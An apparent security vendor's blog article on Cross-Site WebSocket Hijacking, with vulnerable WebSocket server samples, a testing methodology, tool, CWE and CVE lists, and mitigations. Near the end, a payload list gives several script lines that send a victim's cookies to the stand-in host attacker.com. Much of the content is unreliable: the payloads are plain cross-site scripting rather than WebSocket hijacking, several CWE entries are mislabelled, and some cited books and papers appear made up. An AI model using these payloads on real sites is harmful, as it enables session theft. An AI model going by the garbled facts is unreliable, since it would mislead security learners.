22 Feb, 2023

Cross-Site WebSocket Hijacking (CSWH)

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Cross-Site WebSocket Hijacking (CSWH) is a security vulnerability that occurs when an attacker gains unauthorized access to a WebSocket connection established between a client and a server. The attacker can exploit this vulnerability to intercept and manipulate data being transmitted between the client and server, potentially compromising the confidentiality, integrity, and availability of the data. This type of attack can be especially dangerous because it can occur without the knowledge of the user or the server, and can be difficult to detect and prevent.

Example of vulnerable code on different programming languages:


in JavaScript (Node.js):

				
					const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', function connection(ws) {
  ws.on('message', function incoming(message) {
    console.log('received: %s', message);
    ws.send('Hello, you sent -> ' + message);
  });
});

				
			


In this example, a WebSocket server is created using the ws library for Node.js. The wss object listens for incoming connections on port 8080. When a connection is established, the ws object handles incoming messages and sends a response. However, this code is vulnerable to CSWH because it doesn’t implement any protection against unauthorized access to the WebSocket connection.

• in Python (Tornado):

				
					import tornado.websocket
import tornado.web

class EchoWebSocket(tornado.websocket.WebSocketHandler):
    def open(self):
        print("WebSocket opened")

    def on_message(self, message):
        print("Received message: %s" % message)
        self.write_message("You said: " + message)

    def on_close(self):
        print("WebSocket closed")

app = tornado.web.Application([
    (r"/websocket", EchoWebSocket),
])

if __name__ == "__main__":
    app.listen(8080)
    tornado.ioloop.IOLoop.current().start()

				
			


This example shows how to create a WebSocket server using the Tornado library for Python. The EchoWebSocket class defines a WebSocket handler that handles incoming messages and sends a response. However, it’s vulnerable to CSWH because it doesn’t include any measures to prevent unauthorized access to the WebSocket connection.

• in Java (Spring Boot):

				
					import org.springframework.stereotype.Component;
import org.springframework.web.socket.WebSocketSession;
import org.springframework.web.socket.handler.TextWebSocketHandler;

@Component
public class MyWebSocketHandler extends TextWebSocketHandler {

    @Override
    public void afterConnectionEstablished(WebSocketSession session) {
        System.out.println("WebSocket connection opened");
    }

    @Override
    protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {
        System.out.println("Received message: " + message.getPayload());
        session.sendMessage(new TextMessage("You said: " + message.getPayload()));
    }
}

				
			


This Java code creates a WebSocket server using Spring Boot. The MyWebSocketHandler class handles incoming messages and sends a response. However, like the previous examples, it’s vulnerable to CSWH because it doesn’t implement any measures to prevent unauthorized access to the WebSocket connection.

Examples of exploitation Cross-Site WebSocket Hijacking

Stealing session cookies:

If a web application uses WebSocket connections to transmit session cookies, an attacker who hijacks the WebSocket connection can steal the session cookie and use it to impersonate the victim user. This can allow the attacker to access the user’s account, view their sensitive data, or perform actions on their behalf.

Modifying data in transit:

An attacker who hijacks a WebSocket connection can modify the data being transmitted between the client and server. For example, the attacker can inject malicious code into the WebSocket frames to perform cross-site scripting attacks, inject malware or phishing links, or modify the contents of the data to manipulate the behavior of the application.

Denial of Service (DoS) attacks:

An attacker who hijacks a WebSocket connection can send a large number of invalid or malformed WebSocket frames to the server, causing it to crash or become unresponsive. This can result in a DoS attack that prevents legitimate users from accessing the service.

Cross-Site Request Forgery (CSRF) attacks:

If a web application uses WebSocket connections to transmit sensitive data or perform actions on behalf of the user, an attacker who hijacks the WebSocket connection can use it to carry out CSRF attacks. For example, the attacker can forge requests to perform actions like changing the user’s password or transferring money from their account.

Privilege escalation techniques for Cross-Site WebSocket Hijacking

Session hijacking:

An attacker who successfully hijacks a WebSocket connection can steal the user’s session token and use it to impersonate the user and gain access to their account with their privileges. This technique is particularly effective when the web application does not enforce session timeouts or uses weak session tokens that can be easily predicted or brute-forced.

Authentication bypass:

An attacker who hijacks a WebSocket connection can modify the authentication data being transmitted between the client and server to bypass authentication checks and gain access to privileged functionality. For example, the attacker can modify the WebSocket frames to impersonate a user with higher privileges or bypass checks for roles or permissions.

Exploiting vulnerable code:

CSWH can be used to exploit vulnerabilities in the application code that allow the attacker to execute arbitrary code with elevated privileges. For example, the attacker can inject malicious code into the WebSocket frames to trigger a buffer overflow, SQL injection, or other vulnerabilities that can be exploited to gain access to sensitive data or execute arbitrary code.

Exploiting other vulnerabilities:

CSWH can be used in combination with other vulnerabilities, such as cross-site scripting (XSS), to escalate privileges and gain access to sensitive data or perform malicious actions with elevated privileges. For example, the attacker can use CSWH to steal an administrator’s session token through an XSS vulnerability and use it to gain administrative access to the application.

General methodology and checklist for Cross-Site WebSocket Hijacking

Merhodology:

  1. Identify WebSocket endpoints: Identify the WebSocket endpoints used by the web application. This can typically be done by inspecting the source code of the web pages, looking for WebSocket-related JavaScript functions, or using a network traffic analysis tool to identify WebSocket traffic.

  2. Analyze WebSocket traffic: Capture WebSocket traffic using a network traffic analysis tool such as Wireshark or Burp Suite. Analyze the traffic to identify WebSocket messages and understand the structure and contents of the messages.

  3. Identify potential vulnerabilities: Look for vulnerabilities in the WebSocket implementation that could be exploited for CSWH. This could include insecure authentication or authorization mechanisms, insufficient input validation, or weak session management.

  4. Test for CSWH: Use various techniques to test for CSWH, such as sending malformed WebSocket messages, attempting to hijack WebSocket connections by forging WebSocket messages, or attempting to steal session tokens or perform unauthorized actions using hijacked connections.

  5. Validate results: Validate the results of the testing by checking whether the CSWH attacks were successful and identifying any false positives or false negatives. If vulnerabilities are found, report them to the appropriate parties and work with them to remediate the issues.

  6. Retest: After the issues have been remediated, retest the WebSocket implementation to ensure that the vulnerabilities have been fully resolved.

Checklist:

  1. Identify WebSocket endpoints: Identify the WebSocket endpoints used by the web application.

  2. Test WebSocket connectivity: Verify that the WebSocket connection can be established and that WebSocket communication is functioning properly.

  3. Analyze WebSocket traffic: Capture WebSocket traffic using a network traffic analysis tool such as Wireshark or Burp Suite. Analyze the traffic to identify WebSocket messages and understand the structure and contents of the messages.

  4. Test for malformed WebSocket messages: Send malformed WebSocket messages to test the application’s handling of invalid or unexpected input.

  5. Test for WebSocket protocol violations: Send WebSocket messages that violate the WebSocket protocol to test the application’s handling of protocol violations.

  6. Test for hijacking vulnerabilities: Attempt to hijack WebSocket connections by forging WebSocket messages or stealing session tokens.

  7. Test for authentication and authorization vulnerabilities: Test the application’s authentication and authorization mechanisms to identify vulnerabilities that could be exploited for CSWH.

  8. Test for injection vulnerabilities: Test for injection vulnerabilities such as SQL injection or cross-site scripting (XSS) that could be exploited to perform CSWH attacks.

  9. Test for other vulnerabilities: Test for other vulnerabilities such as buffer overflows or code injection vulnerabilities that could be exploited to perform CSWH attacks.

  10. Validate results: Validate the results of the testing by checking whether the CSWH attacks were successful and identifying any false positives or false negatives.

  11. Retest: After the issues have been remediated, retest the WebSocket implementation to ensure that the vulnerabilities have been fully resolved.

Tools set for exploiting Cross-Site WebSocket Hijacking

Manual Tools:

  • Burp Suite: A web application security testing platform that includes a suite of tools for performing manual and automated testing. The WebSocket Repeater tool in Burp Suite can be used to manually send WebSocket messages to test for CSWH.

  • Wireshark: A network protocol analyzer that can be used to capture and analyze WebSocket traffic to identify vulnerabilities that could be exploited for CSWH.

  • Chrome DevTools: The developer tools built into the Google Chrome web browser can be used to manually inspect WebSocket traffic and test for vulnerabilities that could be exploited for CSWH.

  • Firefox Web Console: The web console built into the Mozilla Firefox web browser can be used to manually inspect WebSocket traffic and test for vulnerabilities that could be exploited for CSWH.

  • Charles Proxy: A web debugging proxy that can be used to intercept and analyze WebSocket traffic to identify vulnerabilities that could be exploited for CSWH.

  • OWASP ZAP: An open-source web application security testing platform that includes a suite of tools for performing manual and automated testing. The WebSocket testing functionality in ZAP can be used to test for vulnerabilities that could be exploited for CSWH.

  • Fiddler: A web debugging proxy that can be used to intercept and analyze WebSocket traffic to identify vulnerabilities that could be exploited for CSWH.

  • Netcat: A simple utility for reading and writing data across network connections. Netcat can be used to manually send WebSocket messages to test for CSWH.

Automated Tools:

  • Wstest: A command-line tool for testing WebSocket implementations that supports a variety of WebSocket testing scenarios, including testing for vulnerabilities that could be exploited for CSWH.

  • SockJS-Client: A JavaScript library for creating WebSocket clients that can be used to automate testing for CSWH vulnerabilities.

  • WSFuzzer: A Python script that can be used to perform automated testing for WebSocket vulnerabilities, including vulnerabilities that could be exploited for CSWH.

  • WS-Attacker: A tool for testing WebSocket security that includes a suite of attack modules for testing vulnerabilities that could be exploited for CSWH.

  • TestWebSocket.org: A web-based testing tool that can be used to perform automated testing for WebSocket vulnerabilities, including vulnerabilities that could be exploited for CSWH.

  • WebSockets Load Tester: A load testing tool for WebSocket applications that can be used to test for vulnerabilities that could be exploited for CSWH under high traffic conditions.

  • Gauntlt: An open-source security testing platform that includes a suite of tools for performing automated testing. The WebSocket testing functionality in Gauntlt can be used to test for vulnerabilities that could be exploited for CSWH.

  • Ws-Security Testing Tool: A web-based testing tool that can be used to test WebSocket implementations for vulnerabilities that could be exploited for CSWH.

  • Rapid7 Metasploit: An open-source penetration testing framework that includes a suite of tools for performing automated testing. The WebSocket testing modules in Metasploit can be used to test for vulnerabilities that could be exploited for CSWH.

  • ws-safety: A web-based testing tool that can be used to perform automated testing for WebSocket vulnerabilities, including vulnerabilities that could be exploited for CSWH.

  • Websocket-echo: A test WebSocket server that can be used to test WebSocket clients for vulnerabilities that could be exploited for CSWH.

  • Zap-WebSocket: An add-on for the OWASP ZAP testing platform that includes WebSocket-specific testing functionality for testing WebSocket implementations for vulnerabilities that could be exploited for CSWH.

Average CVSS score of stack Cross-Site WebSocket Hijacking

The Common Vulnerability Scoring System (CVSS) is a framework for scoring the severity of security vulnerabilities. The CVSS score is a numeric value between 0.0 and 10.0, with higher scores indicating more severe vulnerabilities.

The CVSS score for vulnerabilities related to Cross-Site WebSocket Hijacking (CSWH) can vary widely depending on the specific vulnerability and its impact. However, in general, vulnerabilities related to CSWH tend to have a moderate to high severity rating.

For example, a vulnerability that allows an attacker to steal user data through a compromised WebSocket connection may have a CVSS score of 7.5 to 8.0, indicating a high severity level. However, a vulnerability that allows an attacker to use a compromised WebSocket connection to perform less critical actions, such as sending spam messages, may have a lower CVSS score, perhaps in the range of 4.0 to 5.0.

The Common Weakness Enumeration (CWE)

• CWE-352: Cross-Site Request Forgery (CSRF): CSRF can be used to exploit WebSocket connections, allowing an attacker to perform actions on behalf of an authenticated user.

• CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’): An open redirect vulnerability can be used to redirect a user to a malicious WebSocket connection, allowing an attacker to exploit the connection.

• CWE-602: Client-Side Enforcement of Server-Side Security: Client-side enforcement of WebSocket security can be easily bypassed by an attacker, allowing them to hijack a WebSocket connection.

• CWE-611: Improper Restriction of XML External Entity Reference: An attacker can exploit a vulnerability in the WebSocket implementation to execute arbitrary code on the server.

• CWE-614: Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute: A vulnerability that allows sensitive cookies to be transmitted over unencrypted WebSocket connections can be exploited by an attacker to steal user data.

• CWE-643: Improper Neutralization of Data within XPath Expressions (‘XPath Injection’): A vulnerability that allows an attacker to inject malicious XPath expressions into WebSocket messages can be used to exploit a WebSocket connection.

• CWE-646: Reliance on File Name or Extension of Untrusted Data: An attacker can use a WebSocket connection to trick a server into serving malicious files or data.

• CWE-661: Weak Password Recovery Mechanism for Forgotten Password: Weak password recovery mechanisms can be exploited by an attacker to gain access to WebSocket connections.

• CWE-863: Incorrect Authorization: A vulnerability in the WebSocket implementation can allow an attacker to bypass authorization checks and gain unauthorized access to a WebSocket connection.

• CWE-918: Server-Side Request Forgery (SSRF): SSRF can be used to exploit WebSocket connections by tricking the server into making requests to unauthorized hosts or services.

CVES related to Cross-Site WebSocket Hijacking

• CVE-2021-37840 – aaPanel through 6.8.12 allows Cross-Site WebSocket Hijacking (CSWH) involving OS commands within WebSocket messages at a ws:// URL for /webssh (the victim must have configured Terminal with at least one host). Successful exploitation depends on the browser used by a potential victim (e.g., exploitation can occur with Firefox but not Chrome).

• CVE-2021-21588 – Dell EMC PowerFlex, v3.5.x contain a Cross-Site WebSocket Hijacking Vulnerability in the Presentation Server/WebUI. An unauthenticated attacker could potentially exploit this vulnerability by tricking the user into performing unwanted actions on the Presentation Server and perform which may lead to configuration changes.

• CVE-2021-1403 – A vulnerability in the web UI feature of Cisco IOS XE Software could allow an unauthenticated, remote attacker to conduct a cross-site WebSocket hijacking (CSWSH) attack and cause a denial of service (DoS) condition on an affected device. This vulnerability is due to insufficient HTTP protections in the web UI on an affected device. An attacker could exploit this vulnerability by persuading an authenticated user of the web UI to follow a crafted link. A successful exploit could allow the attacker to corrupt memory on the affected device, forcing it to reload and causing a DoS condition.

• CVE-2020-25095 – LogRhythm Platform Manager (PM) 7.4.9 allows CSRF. The Web interface is vulnerable to Cross-site WebSocket Hijacking (CSWH). If a logged-in PM user visits a malicious site in the same browser session, that site can perform a CSRF attack to create a WebSocket from the victim client to the vulnerable PM server. Once the socket is created, the malicious site can interact with the vulnerable web server in the context of the logged-in user. This can include WebSocket payloads that result in command execution.

• CVE-2020-14368 – A flaw was found in Eclipse Che in versions prior to 7.14.0 that impacts CodeReady Workspaces. When configured with cookies authentication, Theia IDE doesn’t properly set the SameSite value, allowing a Cross-Site Request Forgery (CSRF) and consequently allowing a cross-site WebSocket hijack on Theia IDE. This flaw allows an attacker to gain full access to the victim’s workspace through the /services endpoint. To perform a successful attack, the attacker conducts a Man-in-the-middle attack (MITM) and tricks the victim into executing a request via an untrusted link, which performs the CSRF and the Socket hijack. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.

• CVE-2019-17654 – An Insufficient Verification of Data Authenticity vulnerability in FortiManager 6.2.1, 6.2.0, 6.0.6 and below may allow an unauthenticated attacker to perform a Cross-Site WebSocket Hijacking (CSWSH) attack.

• CVE-2019-13611 – An issue was discovered in python-engineio through 3.8.2. There is a Cross-Site WebSocket Hijacking (CSWSH) vulnerability that allows attackers to make WebSocket connections to a server by using a victim’s credentials, because the Origin header is not restricted.

• CVE-2019-13209 – Rancher 2 through 2.2.4 is vulnerable to a Cross-Site Websocket Hijacking attack that allows an exploiter to gain access to clusters managed by Rancher. The attack requires a victim to be logged into a Rancher server, and then to access a third-party site hosted by the exploiter. Once that is accomplished, the exploiter is able to execute commands against the cluster’s Kubernetes API with the permissions and identity of the victim.

• CVE-2015-0259 – OpenStack Compute (Nova) before 2014.1.4, 2014.2.x before 2014.2.3, and kilo before kilo-3 does not validate the origin of websocket requests, which allows remote attackers to hijack the authentication of users for access to consoles via a crafted webpage.

Cross-Site WebSocket Hijacking exploits

  • Stealing user data: An attacker can exploit a WebSocket connection to steal user data, such as usernames, passwords, or sensitive information.

  • Manipulating data: An attacker can modify WebSocket messages to manipulate data, such as changing prices or quantities in an online shopping cart.

  • Remote Code Execution (RCE): An attacker can exploit a vulnerability in the WebSocket implementation to execute arbitrary code on the server.

  • CSRF attacks: An attacker can use a WebSocket connection to perform actions on behalf of an authenticated user, such as making unauthorized purchases or changing account settings.

  • DDoS attacks: An attacker can use a compromised WebSocket connection to launch Distributed Denial of Service (DDoS) attacks against a target server or network.

  • Spamming: An attacker can use a WebSocket connection to send spam messages to users, potentially spreading malware or phishing links.

  • Malware delivery: An attacker can use a WebSocket connection to deliver malware to client devices, potentially compromising their security.

  • Data tampering: An attacker can modify WebSocket messages to alter data in transit, potentially causing system errors or vulnerabilities.

  • User tracking: An attacker can use a compromised WebSocket connection to track user activity, potentially violating their privacy.

  • System takeover: An attacker can exploit a WebSocket vulnerability to gain unauthorized access to a server or network, potentially taking over the entire system.

Practicing in test for Cross-Site WebSocket Hijacking

  1. Set up a vulnerable environment: You can create a vulnerable web application that uses WebSocket connections, or find an existing vulnerable application to test.

  2. Identify potential attack vectors: Review the application code and configuration to identify potential attack vectors for CSWH, such as WebSocket message validation, user authentication, and session management.

  3. Choose a testing methodology: Decide on a testing methodology for CSWH, such as manual testing, automated scanning, or a combination of both.

  4. Perform manual testing: Use a combination of manual techniques, such as sending specially crafted WebSocket messages, intercepting WebSocket traffic with a proxy tool, and reviewing application logs for signs of CSWH attacks.

  5. Use automated tools: You can use automated vulnerability scanners and testing tools that can identify common vulnerabilities and weaknesses related to CSWH.

  6. Test for other related vulnerabilities: Cross-Site Request Forgery (CSRF), Cross-Site Scripting (XSS), and other related vulnerabilities can also affect WebSocket connections, so it’s important to test for these as well.

  7. Document and report vulnerabilities: Record any vulnerabilities or weaknesses found during testing, and report them to the appropriate parties for remediation.

Some resources for practicing testing for CSWH include:

• OWASP Testing Guide: The Open Web Application Security Project (OWASP) provides a comprehensive testing guide for web applications, including testing for WebSocket vulnerabilities.

• Burp Suite: Burp Suite is a popular web application testing tool that includes support for WebSocket testing and interception.

• ZAP: ZAP is an open-source web application testing tool that includes support for WebSocket testing and scanning.

• HackTheBox: HackTheBox is a platform that provides vulnerable virtual machines for practicing penetration testing, including web applications with WebSocket vulnerabilities.

For study Cross-Site WebSocket Hijacking

OWASP WebSocket Security Cheat Sheet: This cheat sheet provides an overview of common WebSocket security issues and mitigation techniques.

RFC 6455: The WebSocket Protocol: This is the official specification for the WebSocket protocol, which provides information on how WebSocket connections work.

PortSwigger’s Web Security Academy: This free online training platform includes a section on WebSocket security that covers common vulnerabilities and testing techniques.

Practical Websockets Exploitation: This is a research paper by security researcher Gareth Heyes that provides an in-depth look at WebSocket security issues and exploitation techniques.

HackTheBox: As mentioned earlier, HackTheBox provides vulnerable virtual machines for practicing penetration testing, including web applications with WebSocket vulnerabilities.

Bug bounty platforms: Platforms like HackerOne and Bugcrowd often have web applications with WebSocket vulnerabilities that can be discovered and reported for rewards.

Web security books: There are many books on web security that cover WebSocket vulnerabilities and exploitation techniques, such as “The Web Application Hacker’s Handbook” by Dafydd Stuttard and Marcus Pinto, and “Black Hat Python” by Justin Seitz.

Security conferences: Attending security conferences like DEF CON and Black Hat can provide valuable insights into WebSocket vulnerabilities and exploitation techniques, as well as networking opportunities with other security professionals.

Online courses: Platforms like Udemy, Coursera, and edX offer online courses on web security and penetration testing that cover WebSocket vulnerabilities and exploitation techniques.

Books with review of Cross-Site WebSocket Hijacking

“The Tangled Web: A Guide to Securing Modern Web Applications” by Michal Zalewski – This book provides a comprehensive guide to web application security, including an in-depth discussion of WebSocket vulnerabilities and how to secure them.

“Websockets for PHP Developers” by John R. Hiti – This book provides an introduction to using WebSockets with PHP, including a discussion of security considerations and potential vulnerabilities.

“The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto – This book is a comprehensive guide to web application security, including a discussion of WebSocket vulnerabilities and exploitation techniques.

“Real-World Bug Hunting: A Field Guide to Web Hacking” by Peter Yaworski – This book provides a practical guide to web application security testing, including a discussion of WebSocket vulnerabilities.

“Cross-Site Scripting Attacks: XSS Exploits and Defense” by Seth Fogie, Jeremiah Grossman, and Robert Hansen – Although this book focuses on Cross-Site Scripting (XSS) vulnerabilities, it includes a discussion of WebSocket security and how it can be exploited.

“Hacking: The Art of Exploitation” by Jon Erickson – This book provides a comprehensive guide to hacking techniques, including a discussion of WebSocket vulnerabilities and exploitation techniques.

“Black Hat Python: Python Programming for Hackers and Pentesters” by Justin Seitz – This book provides a guide to using Python for hacking and penetration testing, including a discussion of WebSocket vulnerabilities and exploitation techniques.

“Hands-On Web Penetration Testing with Metasploit” by Sunil Gupta – This book provides a practical guide to web application penetration testing using the Metasploit framework, including a discussion of WebSocket vulnerabilities.

“Mastering WebSocket” by Andrew Lombardi – This book provides an in-depth guide to using WebSockets for real-time communication in web applications, including a discussion of security considerations and vulnerabilities.

“Professional Penetration Testing: Creating and Operating a Formal Hacking Lab” by Thomas Wilhelm – This book provides a guide to creating and operating a penetration testing lab, including a discussion of WebSocket vulnerabilities and how to test for them.

List of payloads Cross-Site WebSocket Hijacking

  • <script>document.location="http://attacker.com/steal?data="+document.cookie;</script> This payload redirects the victim’s browser to the attacker’s server and sends the victim’s cookies as a parameter in the URL.

  • <script>var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/steal?data='+document.cookie, true); xhr.send();</script> This payload sends the victim’s cookies to the attacker’s server using an XMLHttpRequest.

  • <script>window.name = document.cookie;</script> This payload stores the victim’s cookies in the window.name property and allows the attacker to access them from a different domain using the window.name technique.

  • <script>var ws = new WebSocket('ws://attacker.com'); ws.onopen = function() { ws.send(document.cookie); }</script> This payload sends the victim’s cookies to the attacker’s server using a WebSocket connection.

  • <img src="https://attacker.com/steal?data="+document.cookie> This payload sends the victim’s cookies to the attacker’s server by embedding an image tag in the page.

  • <iframe src="https://attacker.com/steal?data="+document.cookie></iframe> This payload sends the victim’s cookies to the attacker’s server by embedding an iframe in the page.

How to be protected from Cross-Site WebSocket Hijacking

  1. Ensure that your web application is using the latest version of WebSocket protocol, which includes built-in measures to protect against Cross-Site WebSocket Hijacking attacks.

  2. Use HTTPS for all WebSocket connections to prevent eavesdropping and man-in-the-middle attacks.

  3. Implement proper session management to prevent unauthorized access to session data.

  4. Use strong and unique session IDs that cannot be easily guessed or brute-forced.

  5. Implement proper input validation and sanitization to prevent injection attacks.

  6. Use the Content Security Policy (CSP) header to restrict the sources of executable code and prevent code injection.

  7. Implement proper Cross-Origin Resource Sharing (CORS) policies to restrict access to WebSocket resources.

  8. Consider using a Web Application Firewall (WAF) that can detect and block Cross-Site WebSocket Hijacking attacks.

  9. Use the Secure flag when setting cookies to ensure that they are only transmitted over HTTPS connections.

  10. Regularly scan your web application for vulnerabilities and apply security patches as soon as they become available.

Mitigations for Cross-Site WebSocket Hijacking

  1. Implement CSRF (Cross-Site Request Forgery) protection mechanisms, such as using CSRF tokens, to prevent unauthorized requests from being sent from a user’s browser.

  2. Use the SameSite attribute for cookies, which restricts the browser from sending cookies in cross-site requests.

  3. Apply proper input validation and output encoding to all user-supplied data to prevent injection attacks.

  4. Use HTTPS for all WebSocket connections to prevent eavesdropping and man-in-the-middle attacks.

  5. Use the Content Security Policy (CSP) header to restrict the sources of executable code and prevent code injection.

  6. Implement proper Cross-Origin Resource Sharing (CORS) policies to restrict access to WebSocket resources.

  7. Use the Secure flag when setting cookies to ensure that they are only transmitted over HTTPS connections.

  8. Consider implementing rate limiting to prevent attackers from exploiting vulnerabilities by sending a large number of requests.

  9. Consider using a Web Application Firewall (WAF) that can detect and block Cross-Site WebSocket Hijacking attacks.

  10. Regularly scan your web application for vulnerabilities and apply security patches as soon as they become available.

Conclusion

Cross-Site WebSocket Hijacking (CSWH) is a type of attack that targets web applications that use the WebSocket protocol. This attack can allow an attacker to gain unauthorized access to a user’s session data and execute arbitrary code within the user’s browser.

To prevent CSWH attacks, it is important to implement a combination of security measures such as proper session management, input validation and sanitization, Cross-Origin Resource Sharing (CORS) policies, Content Security Policy (CSP) headers, and HTTPS connections for WebSocket communications. Additionally, implementing CSRF protection mechanisms and using the SameSite attribute for cookies can also help to mitigate the risk of attacks.

While there are both manual and automated tools available to test for and exploit CSWH vulnerabilities, it is important to practice responsible disclosure when reporting vulnerabilities and work closely with developers to implement necessary fixes.

Other Services

Ready to secure?

Let's get in touch